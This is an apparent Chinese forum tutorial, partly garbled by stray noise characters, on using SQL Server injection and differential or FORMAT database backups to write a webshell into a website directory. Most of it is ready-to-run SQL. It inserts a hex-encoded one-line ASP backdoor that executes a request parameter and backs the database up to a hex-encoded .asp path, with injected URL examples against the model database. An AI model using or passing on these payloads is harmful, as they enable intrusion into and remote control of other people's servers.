减少备份文件大小,得到可执行的webshell成功率提高不少/ C! Q: T! X5 g+ F# X9 g
4 Y, `, H! A, s9 q6 u* k2 k4 L一利用差异备份6 z' h3 J0 n' \7 U# m) W2 e
加一个参数WITH DIFFERENTIAL
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& Q! v9 K. r6 E# ?3 X( S& u$ jdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ R! s2 o+ q( ~+ e7 lcreate table [dbo].[xiaolu] ([cmd] [image]);* v% I- m! G+ ]( B* L# `, v( v
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
! X3 ?9 `( o8 M6 Wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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. `: \: H3 P0 V Z. p1 A d7 ~二利用完全FORMAT# E! M- l' d; N$ I, ~
加一个参数WITH FROMAT
% _: H0 i& ]) J9 G& M" o有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以0 T4 g7 E$ D8 ^* s0 c; R5 ?% A- e6 p8 f
9 }$ {3 i# R n% q2 X# h, Z1 Gdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s- ]. t, R4 v- T' F r" u& X
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)" p/ o' y- s) C# N) y
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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% t9 T, ^$ u. g3 J总的来说就是那么简单几句,下面以备份数据库model为例子- i1 F" z3 ]/ T! f& Z
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id=1;use model create table cmd(str image);insert into cmd(str) values (”)7 l+ ?& l# r; P- D
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id=1;backup database model to disk=’你的路径‘ with differential,format;–0 v# l7 H4 ]2 Q7 b
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